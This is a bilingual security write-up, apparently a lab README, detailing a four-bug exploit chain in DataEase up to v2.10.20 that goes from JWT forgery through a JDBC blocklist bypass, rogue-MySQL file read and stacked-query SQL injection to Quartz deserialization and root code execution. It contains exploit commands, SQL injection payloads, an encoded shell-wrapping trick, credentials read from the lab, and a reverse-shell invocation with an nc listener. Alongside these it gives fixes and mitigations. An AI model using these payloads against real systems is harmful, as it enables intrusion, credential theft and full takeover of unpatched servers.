CVE-2026-40901: DataEase 4-bug chain to unauthenticated root RCECVE-2026-40901: cadeia de 4 falhas no DataEase até RCE como root sem autenticação
Auth bypass → JDBC blocklist bypass → stacked-query SQLi → Java deserialization in a Quartz job-store BLOB. Four modest bugs in DataEase ≤ v2.10.20 compose into remote code execution as root, with a dockerized lab and a working PoC.Bypass de autenticação → bypass da blocklist JDBC → SQLi com stacked queries → desserialização Java em um BLOB do job store do Quartz. Quatro falhas modestas no DataEase ≤ v2.10.20 se compõem em execução remota de código como root, com lab dockerizado e PoC funcional.
Proof of concept on GitHubProva de conceito no GitHubAuthorization: this is a self-contained lab built for education and authorized security research. The vulnerable DataEase instance runs locally in Docker and nothing leaves your machine. Only use it against systems you own or have explicit written permission to test — misuse can be a crime.
Summary
DataEase is a widely deployed
open-source BI / data-visualization platform (Java, Spring Boot). Versions
≤ v2.10.20 carry four separate issues that individually look modest, but
chain cleanly from network reachability to remote code execution as root.
| # | CVE | Class | What it gives us |
|---|---|---|---|
| 1 | CVE-2026-23958 | Auth bypass (CWE-287 / CWE-347) | Act as admin — no valid signature needed |
| 2 | CVE-2026-40899 | JDBC blocklist bypass (CWE-20) | Arbitrary file read → backend DB creds |
| 3 | CVE-2026-40900 | SQL injection, stacked queries (CWE-89) | Write into DataEase's own database |
| 4 | CVE-2026-40901 | Java deserialization (CWE-502) | RCE as root via the Quartz job store |
The final link is the interesting one: the deserialization sink isn't an HTTP
body or a cookie, it's a BLOB column in the Quartz JDBC job store that the
scheduler reads back with readObject() on its own timer.
Fixed in DataEase v2.10.21.
Impact
| Axis | What an attacker gets |
|---|---|
| Confidentiality | Arbitrary host file read, backend DB credentials, every dashboard's data |
| Integrity | Arbitrary code execution as root inside the container |
| Availability | Full control of the BI platform and its scheduler |
| Lateral movement | DataEase sits on the internal network by design — it reaches the data sources |
All of it pre-authentication: step 1 mints the admin token.
Affected versions
| DataEase | Status |
|---|---|
≤ v2.10.20 | Vulnerable — full chain lands root RCE |
≥ v2.10.21 | Fixed — signature verification, @JsonIgnore on the blocklist, allowMultiQueries blocked, vulnerable gadget dependency dropped |
Proof of concept
1. CVE-2026-23958 — authentication bypass
The TokenFilter servlet filter hands the token to TokenUtils, which decodes
it and never verifies it:
public static TokenUserBO userBOByToken(String token) {
DecodedJWT jwt = JWT.decode(token); // decode only — NO signature check
Long userId = jwt.getClaim("uid").asLong();
Long oid = jwt.getClaim("oid").asLong();
...
return new TokenUserBO(userId, oid);
}The only real constraints are that the token is ≥ 100 characters and carries an
integer uid claim. Any self-made JWT saying "uid": 1 runs as the built-in
administrator. The companion share-link path (X-DE-LINK-TOKEN) is signed with
the hardcoded key link-pwd-fit2cloud and was likewise decoded without
verification. de_common.py implements forge_jwt() for this; the PoC can also
just log in with the ubiquitous default admin / DataEase@123456.
Fixed in commit 00c169caa, which looks up the real per-resource secret and
actually calls verifier.verify(...).
2. CVE-2026-40899 — JDBC blocklist bypass → arbitrary file read
DataEase refuses a set of dangerous JDBC parameters when you add a MySQL
datasource. That blocklist lives in a Lombok @Data field:
private List<String> illegalParameters = Arrays.asList(
"maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
"detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
"allowLoadLocalInfileInPath");@Data generates a public setter, so Jackson happily populates it from
attacker-controlled JSON. Sending "illegalParameters": [] in the Base64-encoded
configuration blob empties the blocklist before it is checked. Point the
datasource at a rogue MySQL server with
allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/
and read any file off the DataEase host through MySQL's LOCAL INFILE
mechanism.
python3 exploit/rogue_mysql.py --port 3307 \
--file /opt/apps/config/application-standalone.ymlpython3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307DataEase hands over its own backend credentials:
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
spring:
datasource:
url: jdbc:mysql://mysql-de:3306/dataease?...
username: root
password: Password123@mysqlFixed in 16a950f96 by adding @JsonIgnore to every illegalParameters field.
3. CVE-2026-40900 — stacked-query SQLi in previewSql
POST /de2api/datasetData/previewSql takes Base64-encoded SQL and wraps it as a
subquery with no single-statement validation:
SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0Comments are stripped, but the parentheses can be balanced and ; used to append
statements. Since we control the datasource we can set allowMultiQueries=true
(not on the v2.10.20 blocklist), so stacked queries execute:
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1Pointing that datasource at DataEase's own database — using the credentials
stolen in step 2 — gives write access to its Quartz tables. Fixed by 15611593b
(allowMultiQueries added to the blocklist) and e89059d88.
4. CVE-2026-40901 — Quartz deserialization → RCE
DataEase schedules a recurring "datasource status check" Quartz job:
- scheduler
deSyncJob, jobDatasource/check_status, classio.dataease.job.schedule.CheckDsStatusJob - cron
0 0/6 * * * ? *— every 6 minutes by default
Quartz runs with a JDBC job store and useProperties=false, so each job's
JobDataMap is persisted in QRTZ_JOB_DETAILS.JOB_DATA as a raw
Java-serialized object — the blob literally starts with the AC ED 00 05
serialization magic. When the scheduler scans for triggers:
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA"); // new ObjectInputStream(...).readObject()DataEase bundles commons-collections-3.2.1.jar and velocity-1.7.jar —
classic gadget sources. Step 3 overwrites JOB_DATA with a ysoserial
CommonsCollections6 payload and, in the same stacked query, pulls the
trigger's NEXT_FIRE_TIME forward to now so there's no 6-minute wait. On the
next scan, readObject() fires LazyMap → InvokerTransformer →
Runtime.exec and the command runs as root inside the container.
The PoC builds the gadget for you and handles the busybox quirk — the target
shell is Alpine ash and Runtime.exec gets no shell — by wrapping the command
as sh -c echo${IFS}<b64>|base64${IFS}-d|sh.
Fixed by e05bda764 and friends, which remove the vulnerable Velocity
dependency and the reachability of the sink.
Repository layout
| Path | Purpose |
|---|---|
docker-compose.yml | vulnerable DataEase v2.10.20 + MySQL 8.4 |
conf/application-standalone.yml | repoints the DB at the local mysql-de |
mysql/ | my.cnf + init.sql (creates the empty dataease DB) |
exploit/de_common.py | HTTP client: /dekey RSA recovery, login, JWT forgery, datasource + previewSql |
exploit/de_rce_chain.py | the end-to-end auth → SQLi → Quartz deserialization RCE |
exploit/rogue_mysql.py | minimal rogue MySQL server (LOCAL INFILE file read) for CVE-2026-40899 |
exploit/file_read.py | drives CVE-2026-40899 against the rogue server |
Run it
Prerequisites: Docker (the CLI is also used to run ysoserial in a
throwaway eclipse-temurin:8-jre container), and Python 3.8+ with
cryptography.
1. Bring up the vulnerable lab:
docker compose up -d
pip install -r exploit/requirements.txtWait until http://localhost:8100/de2api/dekey returns 200 — the Flyway
migration takes roughly 20 seconds. The web UI/API is on
http://localhost:8100 (prefix /de2api), shipping default credentials
admin / DataEase@123456, and the JVM runs as root inside its container.
2. Fire the chain:
python3 exploit/de_rce_chain.py3. Confirm code execution a few seconds later:
docker exec dataease cat /tmp/pwned_CVE_2026_40901uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
PWNED_BY_CVE_2026_40901
Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 LinuxOther payloads:
# arbitrary command
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'
# reverse shell (start `nc -lvnp 4444` first)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444Fix and mitigations
- Upgrade to DataEase ≥ v2.10.21.
- Rotate the default
adminpassword (DataEase@123456) immediately — the chain works just as well with a plain login as with the forged token. - Don't expose DataEase to untrusted networks; it is an internal tool with credentials to every data source you've connected.
- Defense-in-depth for the sink: run Quartz with
useProperties=true, apply a JVM deserialization filter (-Djdk.serialFilter=…), and dropcommons-collections:3.2.1/velocity:1.7from the classpath. - The broader lesson from step 2: a security control expressed as a mutable
bean field is not a control.
@Dataon a config class silently makes your blocklist attacker-writable.
References
- NVD — CVE-2026-40901
- NVD — CVE-2026-40900
- NVD — CVE-2026-40899
- NVD — CVE-2026-23958
- DataEase on GitHub
- OX Security — From Auth Bypass to RCE: A 4-Vulnerability Exploit Chain in DataEase
- Fix commits:
00c169caa,16a950f96,15611593b,e89059d88,e05bda764(v2.10.20..v2.10.21) - Full lab & exploit source
Autorização: este é um lab autocontido, feito para fins educacionais e pesquisa de segurança autorizada. A instância vulnerável do DataEase roda localmente em Docker e nada sai da sua máquina. Use apenas contra sistemas que você possui ou tem permissão explícita por escrito para testar — uso indevido pode ser crime.
Resumo
O DataEase é uma plataforma open-source
de BI e visualização de dados amplamente usada (Java, Spring Boot). As versões
≤ v2.10.20 carregam quatro problemas distintos que individualmente parecem
modestos, mas se encadeiam limpamente de alcance de rede até execução remota
de código como root.
| # | CVE | Classe | O que nos dá |
|---|---|---|---|
| 1 | CVE-2026-23958 | Bypass de autenticação (CWE-287 / CWE-347) | Agir como admin — sem assinatura válida |
| 2 | CVE-2026-40899 | Bypass da blocklist JDBC (CWE-20) | Leitura arbitrária de arquivos → credenciais do banco |
| 3 | CVE-2026-40900 | SQL injection, stacked queries (CWE-89) | Escrita no próprio banco do DataEase |
| 4 | CVE-2026-40901 | Desserialização Java (CWE-502) | RCE como root via o job store do Quartz |
O elo final é o mais interessante: o sink de desserialização não é um corpo HTTP
nem um cookie, é uma coluna BLOB no job store JDBC do Quartz que o scheduler
relê com readObject() no próprio timer dele.
Corrigido no DataEase v2.10.21.
Impacto
| Eixo | O que o atacante consegue |
|---|---|
| Confidencialidade | Leitura arbitrária de arquivos do host, credenciais do banco, dados de todos os dashboards |
| Integridade | Execução arbitrária de código como root dentro do contêiner |
| Disponibilidade | Controle total da plataforma de BI e do scheduler |
| Movimentação lateral | O DataEase fica na rede interna por design — ele alcança as fontes de dados |
Tudo isso pré-autenticação: o passo 1 cunha o token de admin.
Versões afetadas
| DataEase | Status |
|---|---|
≤ v2.10.20 | Vulnerável — a cadeia completa chega a RCE como root |
≥ v2.10.21 | Corrigido — verificação de assinatura, @JsonIgnore na blocklist, allowMultiQueries bloqueado, dependência do gadget vulnerável removida |
Prova de conceito
1. CVE-2026-23958 — bypass de autenticação
O filtro de servlet TokenFilter entrega o token ao TokenUtils, que o decodifica
e nunca o verifica:
public static TokenUserBO userBOByToken(String token) {
DecodedJWT jwt = JWT.decode(token); // só decodifica — SEM checagem de assinatura
Long userId = jwt.getClaim("uid").asLong();
Long oid = jwt.getClaim("oid").asLong();
...
return new TokenUserBO(userId, oid);
}As únicas restrições reais são que o token tenha ≥ 100 caracteres e carregue uma
claim uid inteira. Qualquer JWT feito à mão dizendo "uid": 1 roda como o
administrador embutido. O caminho companheiro de link compartilhado
(X-DE-LINK-TOKEN) é assinado com a chave fixa link-pwd-fit2cloud e também era
decodificado sem verificação. O de_common.py implementa forge_jwt() para
isso; a PoC também pode simplesmente logar com o onipresente padrão
admin / DataEase@123456.
Corrigido no commit 00c169caa, que busca o segredo real por recurso e de fato
chama verifier.verify(...).
2. CVE-2026-40899 — bypass da blocklist JDBC → leitura arbitrária de arquivos
O DataEase recusa um conjunto de parâmetros JDBC perigosos quando você adiciona
um datasource MySQL. Essa blocklist vive em um campo Lombok @Data:
private List<String> illegalParameters = Arrays.asList(
"maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
"detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
"allowLoadLocalInfileInPath");O @Data gera um setter público, então o Jackson alegremente o popula a partir
de JSON controlado pelo atacante. Enviar "illegalParameters": [] no blob
configuration codificado em Base64 esvazia a blocklist antes de ela ser
checada. Aponte o datasource para um servidor MySQL malicioso com
allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/
e leia qualquer arquivo do host do DataEase através do mecanismo LOCAL INFILE
do MySQL.
python3 exploit/rogue_mysql.py --port 3307 \
--file /opt/apps/config/application-standalone.ymlpython3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307O DataEase entrega as próprias credenciais de backend:
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
spring:
datasource:
url: jdbc:mysql://mysql-de:3306/dataease?...
username: root
password: Password123@mysqlCorrigido em 16a950f96, adicionando @JsonIgnore a todo campo
illegalParameters.
3. CVE-2026-40900 — SQLi com stacked queries no previewSql
POST /de2api/datasetData/previewSql recebe SQL em Base64 e o embrulha como
subquery sem validar que é uma única instrução:
SELECT * FROM ( <seu SQL> ) AS `tmp` LIMIT 100 OFFSET 0Comentários são removidos, mas os parênteses podem ser balanceados e ; usado
para anexar instruções. Como controlamos o datasource, podemos definir
allowMultiQueries=true (que não está na blocklist da v2.10.20), então stacked
queries executam:
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1Apontar esse datasource para o banco do próprio DataEase — usando as
credenciais roubadas no passo 2 — dá acesso de escrita às tabelas do Quartz.
Corrigido por 15611593b (allowMultiQueries adicionado à blocklist) e
e89059d88.
4. CVE-2026-40901 — desserialização no Quartz → RCE
O DataEase agenda um job recorrente do Quartz de "checagem de status do datasource":
- scheduler
deSyncJob, jobDatasource/check_status, classeio.dataease.job.schedule.CheckDsStatusJob - cron
0 0/6 * * * ? *— a cada 6 minutos por padrão
O Quartz roda com job store JDBC e useProperties=false, então o JobDataMap
de cada job é persistido em QRTZ_JOB_DETAILS.JOB_DATA como um objeto Java
serializado bruto — o blob literalmente começa com o magic de serialização
AC ED 00 05. Quando o scheduler varre por triggers:
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA"); // new ObjectInputStream(...).readObject()O DataEase empacota commons-collections-3.2.1.jar e velocity-1.7.jar —
fontes clássicas de gadget. O passo 3 sobrescreve o JOB_DATA com um payload
CommonsCollections6 do ysoserial e, na mesma stacked query, adianta o
NEXT_FIRE_TIME do trigger para agora, eliminando a espera de 6 minutos. Na
varredura seguinte, o readObject() dispara LazyMap → InvokerTransformer →
Runtime.exec e o comando roda como root dentro do contêiner.
A PoC monta o gadget para você e lida com a peculiaridade do busybox — o shell do
alvo é o ash do Alpine e o Runtime.exec não recebe shell nenhum — embrulhando
o comando como sh -c echo${IFS}<b64>|base64${IFS}-d|sh.
Corrigido por e05bda764 e companhia, que removem a dependência vulnerável do
Velocity e a alcançabilidade do sink.
Estrutura do repositório
| Caminho | Propósito |
|---|---|
docker-compose.yml | DataEase v2.10.20 vulnerável + MySQL 8.4 |
conf/application-standalone.yml | reaponta o banco para o mysql-de local |
mysql/ | my.cnf + init.sql (cria o banco dataease vazio) |
exploit/de_common.py | cliente HTTP: recuperação de RSA por /dekey, login, forja de JWT, datasource + previewSql |
exploit/de_rce_chain.py | a cadeia ponta a ponta auth → SQLi → RCE por desserialização no Quartz |
exploit/rogue_mysql.py | servidor MySQL malicioso mínimo (leitura via LOCAL INFILE) para a CVE-2026-40899 |
exploit/file_read.py | conduz a CVE-2026-40899 contra o servidor malicioso |
Rodando o lab
Pré-requisitos: Docker (a CLI também é usada para rodar o ysoserial em um
contêiner descartável eclipse-temurin:8-jre) e Python 3.8+ com cryptography.
1. Suba o lab vulnerável:
docker compose up -d
pip install -r exploit/requirements.txtEspere até http://localhost:8100/de2api/dekey retornar 200 — a migração do
Flyway leva cerca de 20 segundos. A UI/API web fica em http://localhost:8100
(prefixo /de2api), com as credenciais padrão admin / DataEase@123456, e a
JVM roda como root dentro do contêiner.
2. Dispare a cadeia:
python3 exploit/de_rce_chain.py3. Confirme a execução de código alguns segundos depois:
docker exec dataease cat /tmp/pwned_CVE_2026_40901uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
PWNED_BY_CVE_2026_40901
Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 LinuxOutros payloads:
# comando arbitrário
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'
# reverse shell (suba um `nc -lvnp 4444` antes)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444Correção e mitigações
- Atualize para o DataEase ≥ v2.10.21.
- Troque imediatamente a senha padrão do
admin(DataEase@123456) — a cadeia funciona igualmente bem com um login comum e com o token forjado. - Não exponha o DataEase a redes não confiáveis; é uma ferramenta interna com credenciais de todas as fontes de dados que você conectou.
- Defesa em profundidade para o sink: rode o Quartz com
useProperties=true, aplique um filtro de desserialização da JVM (-Djdk.serialFilter=…), e removacommons-collections:3.2.1/velocity:1.7do classpath. - A lição mais ampla do passo 2: um controle de segurança expresso como um
campo mutável de bean não é um controle.
@Dataem uma classe de configuração silenciosamente torna a sua blocklist gravável pelo atacante.
Referências
- NVD — CVE-2026-40901
- NVD — CVE-2026-40900
- NVD — CVE-2026-40899
- NVD — CVE-2026-23958
- DataEase no GitHub
- OX Security — From Auth Bypass to RCE: A 4-Vulnerability Exploit Chain in DataEase
- Commits de correção:
00c169caa,16a950f96,15611593b,e89059d88,e05bda764(v2.10.20..v2.10.21) - Código completo do lab e do exploit